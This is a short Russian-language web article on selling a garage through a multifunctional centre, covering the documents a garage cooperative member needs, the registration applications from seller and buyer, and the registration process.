    Какие документы нужны Если планируется продать гараж официально, тогда в этом помогут многофункциональные центры. Но услуги они предоставляют только для тех людей, у которых есть документы на объект недвижимости.
    Когда отсутствуют официальные бумаги, стоит заранее позаботиться об их получении или восстановлении. Точный перечень зависит от конкретной ситуации, и сейчас рассмотрим возможные варианты. Если помещение находится в ГСК:

    1. Национальный паспорт, чтобы можно было удостоверить личность.
    2. Членская книжка, которая должна быть у каждого участника ГСК.
    3. Справка о полной выплате пая.

    Как правильно осуществить сделку купли-продажи гаража

    К ней должны быть приложены заявления, составленные сторонами о следующем:

    • со стороны продавца поступает просьба о внесении в ЕГРН данных нового собственника, который права на недвижимость получил в результате сделки;
    • покупателем указывается, что в соответствии с заключенным соглашением между сторонами сделки он становится собственником недвижимости, что и требует указать в кадастре.

    В расписке обычно перечислены все представленные в МФЦ документы. Оформление её происходит на покупателя и по ней он сможет впоследствии получить удостоверенный договор и остальную документацию.

    Как только регистрация завершится, покупатель станет полноправным собственником гаража. Если местожительство лиц находится в населенном пункте, где нет отделений Многофункционального Центра, тогда документы следует выслать заказным письмом с описью вложения.

    Понравилась статья? Поделиться с друзьями: